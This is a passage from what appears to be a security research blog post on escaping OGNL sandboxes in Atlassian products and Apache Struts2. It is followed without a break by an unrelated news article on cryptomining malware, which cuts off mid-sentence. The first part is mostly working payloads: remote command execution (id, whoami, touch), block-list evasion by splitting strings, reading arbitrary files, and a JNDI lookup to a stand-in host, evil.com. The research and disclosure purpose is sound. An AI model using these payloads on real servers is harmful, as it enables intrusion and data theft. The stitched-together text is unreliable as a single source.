expression in the form of a string `(ASTConst)` and evaluate it! We know that `ASTConst` nodes are parsed as OGNL expressions and verified to not be harmful. However, we already saw that if we split the string literal in multiple parts, only the individual parts will be checked and not the result of the concatenation. For example, for the payload below `#application` will never get checked, only `#` and `application` which are deemed to be safe:\n\n \n \n\n\nAs you can see in the resulting tree, there are no hints of any `ASTVarRef` node and therefore access to `#application` is granted.\n\n### Weaponizing `ASTEval`[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#weaponizing-asteval>)\n\nThere are multiple ways to craft a payload levering this vector. For example, we could get arbitrary RCE with echoed response:\n \n \n ('(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@get'+'Runtime().exec(\"id\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))')('')\n \n \n\n\n\n### Enter `ASTMap`, `ASTChain` and `ASTSequence`[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#enter-astmap-astchain-and-astsequence>)\n\nI was already familiar with `ASTMap`s from reading [Mc0wn's great article](<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>). In a nutshell, OGNL allows developers to instantiate any `java.util.Map` implementation by using the `@<class_name>@{}` syntax.\n\nUsing this technique, we were able to use a `BeanMap` (a map wrapping a Java bean and exposing its getters and setters as map entries) to bypass the `getClass` limitation by rewriting the payload as:\n \n \n \n BeanMap map = @org.apache.commons.beanutils.BeanMap@{};\n \n map.setBean(\u201c\u201d)\n \n map.get(\u201cclass\u201d).forName(\u201djavax.script.ScriptEngineManager\u201d).newInstance().getEngineByName(\u201cjs\u201d).eval(payload)\n \n \n\nThis payload avoids calling the `BeanMap` constructor explicitly and, therefore, gets rid of the `ASTCtor` limitation. In addition, it allows us to call `Object.getClass()` implicitly by accessing the `class` item. However, we still have another problem: we need to be able to assign the map to a variable (`map`) so we can call the `setBean()` method on it and later call the `get()` method on the same map. Since `ASTAssign` was blocked, assignments were not an option. Fortunately, looking through the list of AST nodes, two more nodes got my attention: `ASTChain` and `ASTSequence`.\n\n * `ASTChain` allows us to pass the result of one evaluation as the root node of the next evaluation. For example: `(one).(two)` will evaluate `one` and use its result as the root for the evaluation of `two`.\n * `ASTSequence` allows us to run several evaluations on the same root object in sequence. For example: `one, two` will evaluate `one` and then `two` using the same root node.\n\nThe idea was to bypass `ASTAssign` constraint by combining `ASTChain` and `ASTSequence` together\n\nWe can set the map returned by the `ASTMap` expression as the root for a sequence of expressions so all of them will have the map as its root object:\n \n \n \n (#@BeanMap@{}).(expression1, expression2)\n \n \n\nIn our case, `expression1` is the call to `setBean()` and `expression2` is the call to `get()`.\n\nTaking that into account and splitting literal strings into multiple parts to bypass the block list we got the following payload:\n \n \n \n (#@org.apache.commons.beanutils.BeanMap@{}).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))\n \n \n\nThe final AST tree bypassing all `isSafeExpression` checks is:\n\n \n \n\n\nThere was a final problem to solve. The OGNL injection sink was `translateVariable()` which resolves OGNL expressions wrapped in `${expressions}` delimiters. Therefore, our payload was not allowed to contain any curly brackets. Fortunately, for us, [OGNL will replace unicode escapes](<https://github.com/apache/commons-ognl/blob/master/src/main/jjtree/ognl.jjt#L36-L37>) for us so we were able to use the final payload:\n \n \n \n (#@org.apache.commons.beanutils.BeanMap@\\\\u007b\\\\u007d).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))\n \n \n\nI submitted these bypasses to Atlassian through its bug bounty program and, even though I was not reporting any new OGNL injections but a bypass of its sandbox, they were kind enough to award me with a $3,600 bounty!\n\n## Looking into Struts2[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#looking-into-struts2>)\n\nAs mentioned before, a friend found what he thought was a Server-Side Template Injection (SSTI) (`%{7*7}` => 49) but it turned out to be an OGNL injection. Since this happened as part of a bug bounty program, I didn\u2019t have access to the source code. I can't be sure if the developers were passing untrusted data to an OGNL sink (for example, `[ActionSupport.getText()](<https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/ActionSupport.html#getText-java.lang.String->)`), or if it was some of the [unfixed double evaluations issues](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>) (still working at the time of writing). Anyhow, the application seemed to be using the latest Struts version and known payloads were not working. I decided to take a deeper look.\n\n### New gadgets on the block[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#new-gadgets-on-the-block>)\n\nWhen I listed what objects were available I was surprised to find that many of the usual objects in the Struts OGNL context, such as the value stack, were not there, and some others I haven't seen before were available. One of such objects was `#request[\u2018.freemarker.TemplateModel\u2019]`. This object turned out to be an instance of `org.apache.struts2.views.freemarker.ScopesHashModel` containing a variety of new objects. One of them (stored under the `ognl` key) gave me access to an `org.apache.struts2.views.jsp.ui.OgnlTool` instance. Looking at the code for this class I quickly spotted that it was calling `Ognl.getValue()`. This class is not part of Struts, but the OGNL library and, therefore, the Struts sandbox (member access policy) was not enabled! In order to exploit it I used the following payload:\n \n \n \n #request[\u2018.freemarker.TemplateModel\u2019].get(\u2018ognl\u2019).getWrappedObject().findValue(\u2018(new freemarker.template.utility.Execute()).exec({\u201cwhoami\u201d})\u2019, {})\n \n \n\nThat was enough to get the issue accepted as a remote code execution in the bounty program. However, despite having achieved RCE, there were a few unsolved questions:\n\n * Why was this `.freemarker.TemplateModel` object available?\n * Are there any other ways to get RCE on the latest Struts versions?\n\n### Post-invocations Context[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#post-invocations-context>)\n\nAttackers are limited to the objects they are able to access. Normally, OGNL injections take place before the action invocation completes and the action\u2019s `Result` is rendered.\n\nhttps://struts.apache.org/core-developers/attachments/Struts2-Architecture.png\n\nWhen grepping the Struts\u2019s source code for `.freemarker.TemplateModel`, I found out that there are plenty of new objects added to the request scope when preparing the action\u2019s `Result` in order to share them with the view layer (JSP, FreeMarker or Velocity) and `.freemarker.TemplateModel` was [one of them](<https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/core/src/main/java/org/apache/struts2/views/freemarker/FreemarkerManager.java#L122>). However, those objects are only added after the `ActionInvocation` has been invoked. This implies that if I find `.freemarker.TemplateModel` on the request scope, my injection was evaluated after the action invocation finished building the action\u2019s `Result` object and, therefore, my injection probably did not take place as part of the Struts code but as a [double evaluation in the FreeMarker template](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>).\n\nThese new objects will offer new ways to get remote code execution, but only if you are lucky to get your injection evaluated after the action\u2019s `Result` has been built. Or not? \n\nIt turned out that the ongoing `ActionInvocation` object can be accessed through the OGNL context and, therefore, we can use it to force the building of the `Result` object in advance. Calling the `Result`s `doExecute()` method will trigger the population of the so-called template model. For example, for Freemarker, `ActionInvocation.createResult()` will create a `FreemarkerResult` instance. Calling its `doExecute()` method will, in turn, call its `[createModel()](<https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/core/src/main/java/org/apache/struts2/views/freemarker/FreemarkerResult.java#L273>)` method that will populate the template model.\n \n \n \n (#ai=#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'])+\n \n (#ai.setResultCode(\"success\"))+\n \n (#r=#ai.createResult())+\n \n (#r.doExecute(\"pages/test.ftl\",#ai))\n \n \n\nExecuting the above payload will populate the request context with new objects. However, that requires us to know the result code and the template\u2019s path. Fortunately, we can also invoke the `ActionInvocation.invoke()` method that will take care of everything for us!\n \n \n \n #attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke()\n \n \n\nThe line above will result in the template model being populated and stored in the request, and context scopes regardless of where your injection takes place.\n\n### Wild objects appeared[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#wild-objects-appeared>)\n\nAfter the invocation, the request scope and value stack will be populated with additional objects. These objects vary depending on the view layer used. What follows is a list of the most interesting ones (skipping most of them which do not lead to RCE):\n\nFor Freemarker:\n\n * `.freemarker.Request` (`freemarker.ext.servlet.HttpRequestHashModel`)\n * `.freemarker.TemplateModel` (`org.apache.struts2.views.freemarker.ScopesHashModel`) \n * `__FreeMarkerServlet.Application__` (`freemarker.ext.servlet.ServletContextHashModel`) \n * `JspTaglibs` (`freemarker.ext.jsp.TaglibFactory`)\n * `.freemarker.RequestParameters` (`freemarker.ext.servlet.HttpRequestParametersHashModel`)\n * `.freemarker.Request` (`freemarker.ext.servlet.HttpRequestHashModel`)\n * `.freemarker.Application` (`freemarker.ext.servlet.ServletContextHashModel`) \n * `.freemarker.JspTaglibs` (`freemarker.ext.jsp.TaglibFactory`) \n * `ognl` (`org.apache.struts2.views.jsp.ui.OgnlTool`) \n * `stack` (`com.opensymphony.xwork2.ognl.OgnlValueStack`) \n * `struts` (`org.apache.struts2.util.StrutsUtil`) \n\nFor JSPs:\n\n * `com.opensymphony.xwork2.dispatcher.PageContext` (`PageContextImpl`)\n\nFor Velocity:\n\n * `.KEY_velocity.struts2.context` -> (`StrutsVelocityContext`) \n * `ognl` (`org.apache.struts2.views.jsp.ui.OgnlTool`)\n * `struts` (`org.apache.struts2.views.velocity.result.VelocityStrutsUtils`)\n\n### Getting RCE with new objects[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#getting-rce-with-new-objects>)\n\nAnd now let\u2019s have some fun with these new objects! In the following section I will explain how I was able to leverage some of these objects to get remote code execution.\n\n#### ObjectWrapper[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#objectwrapper>)\n\nThere may be different ways to get an instance of a FreeMarker\u2019s `ObjectWrapper`, even if the application is not using FreeMarker as its view layer because Struts uses it internally for rendering JSP tags. A few of them are listed below:\n\n * Through `freemarker.ext.jsp.TaglibFactory.getObjectWrapper()`. Even though Struts\u2019 sandbox forbids access to `freemarker.ext.jsp` package, we can still access it using a BeanMap:\n \n \n \n (#a=#@org.apache.commons.collections.BeanMap@{ })+\n \n (#a.setBean(#application[\".freemarker.JspTaglibs\"]))+\n \n (#a['objectWrapper'])\n \n \n\n * Through `freemarker.ext.servlet.HttpRequestHashModel.getObjectWrapper()`:\n \n \n \n (#request.get('.freemarker.Request').objectWrapper)\n \n \n\n * Through `freemarker.core.Configurable.getObjectWrapper()`. We need to use the BeanMap trick to access it since `freemarker.core` is also blocklisted:\n \n \n \n (#a=#@org.apache.commons.collections.BeanMap@{ })+\n \n (#a.setBean(#application['freemarker.Configuration']))+\n \n #a['objectWrapper']\n \n \n\nNow for the fun part, what can we do with an `ObjectWrapper`? There are three interesting methods we can leverage to get RCE:\n\n**`newInstance(class, args)`**\n\nThis method will allow us to instantiate an arbitrary type. Arguments must be wrapped, but the return value is not. For example, we can trigger a JNDI injection lookup:\n \n \n \n objectWrapper.newInstance(@javax.naming.InitialContext@class,null).lookup(\"ldap://evil.com\")\n \n \n\nOr, if Spring libs are available, we can get RCE by supplying a malicious [XML config](<https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml>) for `FileSystemXmlApplicationContext` constructor:\n \n \n \n objectWrapper.newInstance(@org.springframework.context.support.FileSystemXmlApplicationContext@class,{#request.get('.freemarker.Request').objectWrapper.wrap(\"URL\")})\n \n \n\n`**getStaticModels()`**\n\nThis method allows us to get static fields from arbitrary types. The return object is wrapped in a FreeMarker\u2019s `TemplateModel` so we need to unwrap it. An example payload levering [Text4Shell](<https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/>):\n \n \n \n objectWrapper.staticModels.get(\"org.apache.commons.text.lookup.StringLookupFactory\").get(\"INSTANCE\").getWrappedObject().scriptStringLookup().lookup(\"javascript:3+4\")\n \n \n\n`**wrapAsAPI()`**\n\nThis method allows us to wrap any object with a `freemarker.ext.beans.BeanModel` giving us indirect access to its getters and setters methods. Struts\u2019 sandbox will not have visibility on these calls and therefore they can be used to call any blocklisted method.\n\n * `BeanModel.get('field_name')` returns a `TemplateModel` wrapping the object.\n * `BeanModel.get('method_name')` returns either a `SimpleMethodModel` or `OverloadedMethodsModel` wrapping the method.\n\nWe can, therefore, call any blocklisted method with:\n \n \n \n objectWrapper.wrapAsAPI(blocked_object).get(blocked_method)\n \n \n\nThis call will return an instance of `TemplateMethodModelEx`. Its `[exec()](<https://freemarker.apache.org/docs/api/freemarker/template/TemplateMethodModelEx.html#exec-java.util.List->)` method is defined in the `freemarker.template` namespace and, therefore, trying to invoke this method will get blocked by the Struts sandbox. However, `TemplateMethodModelEx` is an interface and what we will really get is an instance of either `freemarker.ext.beans.SimpleMethodModel` or `freemarker.ext.beans.OverloadedMethodsModel`. Since the `exec()` methods on both of them are defined on the `freemarker.ext.beans` namespace, which is not blocklisted, their invocation will succeed. As we saw before, arguments need to be wrapped. As an example we can call the `File.createTempFile(\u201cPREFIX\u201d, \u201cSUFFIX\u201d)` using the following payload:\n \n \n \n objectWrapper.getStaticModels().get(\"java.io.File\").get(\"createTempFile\").exec({objectWrapper.wrap(\"PREFIX\"), objectWrapper.wrap(\"SUFFIX\")})\n \n \n\nWe can achieve the same by calling the `getAPI()` on any `freemarker.template.TemplateModelWithAPISupport` instance. Many of the FreeMarker exposed objects inherit from this interface and will allow us to wrap them with a `BeanModel`. For example, to list all the keys in the Struts Value Stack we can use:\n \n \n \n #request['.freemarker.TemplateModel'].get('stack').getAPI().get(\"context\").getAPI().get(\"keySet\").exec({})\n \n \n\nNote that `com.opensymphony.xwork2.util.OgnlContext.keySet()` would be blocked since it belongs to the `com.opensymphony.xwork2.util` namespace, but in this case, Struts\u2019 sandbox will only see calls to `TemplateHashModel.get()` and `TemplateModelWithAPISupport.getAPI()` which are both allowed.\n\nThe last payload will give us a complete list of all available objects in the Value Stack, many of which could be used for further attacks. Lets see a more interesting example by reading an arbitrary file using `BeanModel`s:\n \n \n \n (#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+\n \n (#f=#bw.newInstance(@java.io.File@class,{#bw.wrap(\"C:\\\\REDACTED\\\\WEB-INF\\\\web.xml\")}))+ \n \n (#p=#bw.wrapAsAPI(#f).get(\"toPath\").exec({}))+\n \n (#ba=#bw.getStaticModels().get(\"java.nio.file.Files\").get(\"readAllBytes\").exec({#bw.wrap(#p)}))+\n \n \"----\"+\n \n (#b64=#bw.getStaticModels().get(\"java.util.Base64\").get(\"getEncoder\").exec({}).getAPI().get(\"encodeToString\").exec({#bw.wrap(#ba)}))\n \n \n\nOr listing the contents of a directory:\n \n \n \n (#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+\n \n (#dir=#bw.newInstance(@java.io.File@class,{#bw.wrap(\"C:\\\\REDACTED\\\\WEB-INF\\\\lib\")}))+ \n \n (#l=#bw.wrapAsAPI(#dir).get(\"listFiles\").exec({}).getWrappedObject())+\"---\"+\n \n (#l.{#this})\n \n \n\n#### OgnlTool/OgnlUtil[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#ognltool-ognlutil>)\n\nThe `org.apache.struts2.views.jsp.ui.OgnlTool` class was calling `Ognl.getValue()` with no `OgnlContext` and even though the Ognl library will take care of creating a default one, it will not include all the additional security checks added by the Struts framework and is easily bypassable:\n \n \n \n package org.apache.struts2.views.jsp.ui;\n \n import ognl.Ognl;\n \n import ognl.OgnlException;\n \n import com.opensymphony.xwork2.inject.Inject;\n \n public class OgnlTool {\n \n private OgnlUtil ognlUtil;\n \n public OgnlTool() { }\n \n \n \n @Inject\n \n public void setOgnlUtil(OgnlUtil ognlUtil) {\n \n this.ognlUtil = ognlUtil;\n \n }\n \n \n \n public Object findValue(String expr, Object context) {\n \n try {\n \n return Ognl.getValue(ognlUtil.compile(expr), context);\n \n } catch (OgnlException e) {\n \n return null;\n \n }\n \n }\n \n }\n \n \n\nWe can get an instance of `OgnlTool` from both FreeMarker and Velocity post-invocation contexts:\n \n \n \n #request['.freemarker.TemplateModel'].get('ognl')\n \n \n\nOr\n \n \n \n #request['.KEY_velocity.struts2.context'].internalGet('ognl')\n \n \n\nFor FreeMarker\u2019s case, it will come up wrapped with a Template model but we can just unwrap it and use it to get RCE:\n \n \n \n (#a=#request.get('.freemarker.Request').objectWrapper.unwrap(#request['.freemarker.TemplateModel'].get('ognl'),'org.apache.struts2.views.jsp.ui.OgnlTool'))+\n \n (#a.findValue('(new freemarker.template.utility.Execute()).exec({\"whoami\"})',null))\n \n \n\nOr, even simpler:\n \n \n \n #request['.freemarker.TemplateModel'].get('ognl').getWrappedObject().findValue('(new freemarker.template.utility.Execute()).exec({\"whoami\"})',{})\n \n \n\n`OgnlTool` was [inadvertently fixed](<https://github.com/apache/struts/commit/5cd409d382e00b190bfe4e957c4167d06b8f9da1#diff-55821720c975d84350d796bec09aa366cc2b2861fb7e12f223cc5a4453b55640>) when Struts 6.0.0 was released by upgrading to OGNL 3.2.2 which always requires a `MemberAccess`. But the latest Struts 2 version (2.5.30) is still vulnerable to this payload.\n\n#### StrutsUtil[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#strutsutil>)\n\nAnother object that can be accessed in the post-invocation context is an instance of `org.apache.struts2.util.StrutsUtil`. There are plenty of interesting methods in here:\n\n * `public String include(Object aName)` can be used to read arbitrary resources \n * `<struts_utils>.include(\"/WEB-INF/web.xml\")`\n * `public Object bean(Object aName)` can be used to instantiate arbitrary types: \n * `<struts_utils>.bean(\"javax.script.ScriptEngineManager\")`\n * `public List makeSelectList(String selectedList, String list, String listKey, String listValue)`\n * `listKey` and `listValue` are evaluated with OgnlTool and therefore in an unsandboxed context\n * `<struts_utils>.makeSelectList(\"#this\",\"{'foo'}\",\"(new freemarker.template.utility.Execute()).exec({'touch /tmp/bbbb'})\",\"\")`\n\nOn applications using Velocity as its view layer, this object will be an instance of `VelocityStrutsUtil` which extends `StrutsUtils` and provides an additional vector:\n\n * `public String evaluate(String expression)` will allow us to evaluate a string containing a velocity template:\n \n \n \n (<struts_utils>.evaluate(\"#set ($cmd='java.lang.Runtime.getRuntime().exec(\\\"touch /tmp/pwned_velocity\\\")') $application['org.apache.tomcat.InstanceManager'].newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval($cmd)\"))\n \n \n\n#### JspApplicationContextImpl[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#jspapplicationcontextimpl>)\n\nThe last vector that I wanted to share is one that I found a few years ago and that I was not able to exploit\u2013although I was pretty sure that there had to be a way. New post-invocation discovered objects finally made this possible!\n\nIf you have inspected the Struts Servlet context (`#application`) in the past you probably saw an item with key `org.apache.jasper.runtime.JspApplicationContextImpl` which returned an instance of `org.apache.jasper.runtime.JspApplicationContextImpl`. This class contains a method called `getExpressionFactory()` that returns an Expression Factory that will expose a `createValueExpression()` method. This looks like a perfect place to create an EL expression and evaluate it. The problem was that `[createValueExpression](<https://docs.oracle.com/javaee/7/api/javax/el/ExpressionFactory.html#createValueExpression-javax.el.ELContext-java.lang.String-java.lang.Class->)` requires an instance of `ELContext` and we had none.\n\nFortunately, our post-invocation technique brought a new object into play. When using JSPs as the view layer, `#request['com.opensymphony.xwork2.dispatcher.PageContext']` will return an uninitialized `org.apache.jasper.runtime.PageContextImpl` instance that we can use to create an `ELContext` and evaluate arbitrary EL expressions:\n \n \n \n (#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke())+\n \n (#ctx=#request['com.opensymphony.xwork2.dispatcher.PageContext'])+\n \n (#jsp=#application['org.apache.jasper.runtime.JspApplicationContextImpl'])+\n \n (#elctx=#jsp.createELContext(#ctx))+\n \n (#jsp.getExpressionFactory().createValueExpression(#elctx, '7*7', @java.lang.Class@class).getValue(#elctx))\n \n \n\nThe avid readers may be wondering why Struts stores the `PageContext` in the request. Well, turns out, it does not, but we can access it through chained contexts.\n\nWhen accessing `#attr` (`AttributeMap`), [we can indirectly look into multiple scopes](<https://struts.apache.org/maven/struts2-core/apidocs/org/apache/struts2/util/AttributeMap.html>) such as the Page, Request, Session and Application (Servlet). But there is more, `org.apache.struts2.dispatcher.StrutsRequestWrapper.getAttribute()` will look for the attribute in the `ServletRequest`, if it can't find it there, [it will search the value stack](<https://github.com/apache/struts/blob/master/core/src/main/java/org/apache/struts2/dispatcher/StrutsRequestWrapper.java#L94>)! So, we can effectively access the value stack through the `#request` or `#attr` variables.\n\nIn this case, the `PageContext` was not stored in the request scope, but in the Value stack, and we are able to access it through chained context searches.\n\nWe can even run arbitrary OGNL expressions as long as they don\u2019t contain any hashes (`#`), for example, `#request[\"@java.util.HashMap@class\"]` will return the `HashMap` class.\n\n### Leveling up the BeanMap payload[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#leveling-up-the-beanmap-payload>)\n\nYou may already be familiar with McOwn\u2019s [technique](<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>). He realized that it was possible to use [OGNL Map notation](<https://commons.apache.org/proper/commons-ognl/language-guide.html>) to instantiate an `org.apache.commons.collections.BeanMap` by using the `#@org.apache.commons.collections.BeanMap@{ }` syntax, and then it was possible to wrap any Java object on this map and access any getters and setters as map properties. His payload was based on the `org.apache.tomcat.InstanceManager` payload we introduced at [Black Hat 2020](<https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf>) and looked like:\n \n \n \n (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n \n (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\n \n (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n \n (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\n \n (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n \n (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\n \n (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n \n (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n \n (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))\n \n \n\nThe payload was basically disabling the OGNL sandbox and then accessing otherwise blocked classes such as `InstanceManager`. There is a simpler way to abuse BeanMaps that do not require to disable the sandbox and that is using reflection:\n \n \n \n (#c=#@org.apache.commons.beanutils.BeanMap@{})+\n \n (#c.setBean(@Runtime@class))+\n \n (#rt=#c['methods'][6].invoke())+\n \n (#c['methods'][12]).invoke(#rt,'touch /tmp/pwned')\n \n \n\nThis payload also works in Struts 6 if the `BeanClass` is available in the classpath (either from Apache Commons Collections or Apache Commons BeanUtils), but you need to specify the FQN (Fully Qualified Name) name for `Runtime`: `@java.lang.Runtime@class`.\n\n### Timeline[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#timeline>)\n\nThese bypasses were first reported to the Struts and OGNL security teams on June 9, 2022.\n\nOn October 7, 2022, the security team replied to us and stated that improving the block lists was not a sustainable solution, and, therefore, they decided to stop doing it. They highlighted that a [Java Security Manager can be configured](<https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable>) to protect every OGNL evaluation from these attacks and we highly recommend doing so if you are running a Struts application. However, bear in mind that the [Security Manager is deprecated](<https://openjdk.org/jeps/411>) and will soon get removed from the JDK.\n\n## That\u2019s a wrap[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#thats-a-wrap>)\n\nAt this point, you will have probably realized that sandboxing an expression language, such as OGNL, is a really difficult task, and may require maintaining a list of blocked classes and OGNL features even though that is not an optimal approach. In this blog post, we have reviewed a few ways in which these sandboxes can be bypassed. Although they are specific to OGNL, hopefully you have learned to explore sandbox controls\u2013and one or two new tricks\u2013that may apply to other sandboxes.

(Photo credit: By [Marco Krohn - Own work, CC BY-SA 4.0](<https://commons.wikimedia.org/w/index.php?curid=40495567>))_\n\nThe creation and verification process of virtual currencies like Bitcoin and Monero involves solving lengthy and complex mathematical calculations that require large amounts of [computing power](<https://www.coindesk.com/nvidia-cfo-crypto-mining-demand-beat-expectations-q4/>). Those involved in this [\u201cblockchain\u201d process](<https://www.investopedia.com/tech/how-does-bitcoin-mining-work/>) earn money from it, and the payouts have skyrocketed as the value of these cryptocurrencies has dramatically increased in the past several months.\n\nThat has attracted the attention both of legitimate players -- [individuals](<http://www.businessinsider.com/mining-cryptocurrency-making-a-profit-2018-2>) and [businesses](<https://www.theverge.com/2018/2/13/17008158/salon-suppress-ads-cryptocurrency-mining-coinhive-monero-beta-testing>) -- and, unfortunately, of bad actors, who are using malware to gain unauthorized access to systems they then leverage for mining.\n\n\u201cExploit kits are now delivering coin miners instead of ransomware. Scammers are adding coin mining scripts in tech support scam websites. And certain banking trojan families added coin mining behavior,\u201d Microsoft\u2019s Windows Defender team stated in its [blog post](<https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/>).\n\nBetween September and January, the number of websites hosting cryptomining scripts [spiked 725%](<https://www.cyren.com/blog/articles/increase-in-cryptocurrency-mining-threatens-more-than-just-your-cpu>), Cyren Security Lab said recently. That figure includes domains that are hosting these scripts knowingly, as well as those that have been breached.\n\nCryptomining attacks are purposefully stealthy and silent: They avoid noticeably disrupting breached systems\u2019 operations in order to remain undetected. \u201cFor coin miner malware, persistence is key. These types of malware employ various techniques to stay undetected for long periods of time in order to mine coins using stolen computer resources,\u201d reads Microsoft\u2019s blog post.\n\nThus, cryptomining gives hackers \u201call of the financial upside\u201d of ransomware and other attacks without having to engage the victim and while drawing less law enforcement attention, Cisco\u2019s Talos unit [explained](<http://blog.talosintelligence.com/2018/01/malicious-xmr-mining.html>) in late January.\n\nAs industry analyst Jason Bloomberg put it in a [Forbes column](<https://www.forbes.com/sites/jasonbloomberg/2018/03/04/top-cyberthreat-of-2018-illicit-cryptomining/#4b6bdcc05ae8>) recently, \u201cransomware is oh, so 2017,\u201d as \u201csmart hackers have turned to illicit cryptomining to fill their coffers\u201d lured by a perfect storm of \u201ceasy money, slim chance of detection, and billions of unsuspecting targets that may not even care they\u2019ve been hacked.\u201d\n\nLast month, Imperva [reported](<https://www.imperva.com/blog/2018/02/new-research-crypto-mining-drives-almost-90-remote-code-execution-attacks/>) that cryptomining now drives almost 90% of all remote code execution attacks. Kaspersky Lab put the number of users attacked by malicious miners[ at 2.7 million in 2017](<https://securelist.com/mining-is-the-new-black/84232/>), up 50% from 2016. And according to Check Point, [23% of global organizations](<https://coinjournal.net/23-organizations-globally-affected-crypto-mining-malware-coinhive-says-cybersecurity-firm/>) were affected in January by the Coinhive crypto-mining malware. \n\nMeanwhile, Malwarebytes Labs [ranks](<https://blog.malwarebytes.com/cybercrime/2018/02/state-malicious-cryptomining/>) malicious cryptomining as its top detection since September. While acknowledging that malicious cryptomining appears to be far less dangerous to the user than ransomware, Malwarebytes Labs warned that its effects should not be underestimated. \u201cIndeed, unmanaged miners could seriously disrupt business or infrastructure critical processes by overloading systems to the point where they become unresponsive and shut down,\u201d reads the Malwarebytes Labs post.\n\nOrganizations that have been compromised in recent months include the U.K.\u2019s [Information Commissioner\u2019s Office](<http://www.bbc.com/news/technology-43025788>) (ICO), [U.S. federal courts](<http://fortune.com/2018/02/12/us-courts-coinhive-monero-cryptocurrency-miner/>), [Australian state governments](<https://www.theguardian.com/technology/2018/feb/12/cryptojacking-attack-hits-australian-government-websites>), and the[ LA Times newspaper](<https://nakedsecurity.sophos.com/2018/02/27/unsecured-aws-led-to-cryptojacking-attack-on-la-times/>).\n\nAttack targets have included [vulnerable Jenkins servers](<https://research.checkpoint.com/jenkins-miner-one-biggest-mining-operations-ever-discovered/>), [unsecured Docker containers](<https://blog.aquasec.com/cryptocurrency-miners-abusing-containers-anatomy-of-an-attempted-attack>), [Microsoft Windows systems](<https://securityboulevard.com/2018/03/worm-infects-redis-and-windows-servers-with-cryptomining-malware/>), and browsers. Hackers have used multiple types of attack vehicles, including[ malvertising](<https://threatpost.com/ad-network-circumvents-ad-blocking-tools-to-run-in-browser-cryptojacker-scripts/130161/>), email, malware-laced apps, targeted hits, and exploit kits.\n\nFor example, the coin mining campaign detected by Microsoft\u2019s Windows Defender team this week used variants of the Dofoil/Smoke Loader malware in the form of sophisticated trojans with \u201cadvanced cross-process injection techniques, persistence mechanisms, and evasion methods.\u201d\n\nThe Dofoil trojans attacked Explorer.exe with a \u201cprocess hollowing\u201d code-injection technique that created a new instance of the \u201cc:\\windows\\syswow64\\explorer.exe\u201d process and replaced the legit code with malware.\n\n\u201cThe hollowed Explorer.exe process then spins up a second malicious instance, which drops and runs a coin mining malware masquerading as a legitimate Windows binary, wuauclt.exe,\u201d Microsoft explained. Dofoil uses a customized mining application that can mine different cryptocurrencies. To avoid detection, Dofoil modifies the registry, according to Microsoft.\n\nAnd let us not forget good, old physical -- aka, real world -- security breaches. The Associated Press reported that crooks [stole 600 servers](<https://apnews.com/55117fb55a714e909fb9aaf08841a5d6/Bitcoin-heist:-600-powerful-computers-stolen-in-Iceland>) from data centers in Iceland that were being used for cryptomining. The servers, which haven\u2019t been found, are worth $2 million, and were swiped in a series of four heists in December and January. So far, 11 people have been arrested in connection with the investigation.\n\n### Memcached servers used for DDoS attacks\n\nLast week, we 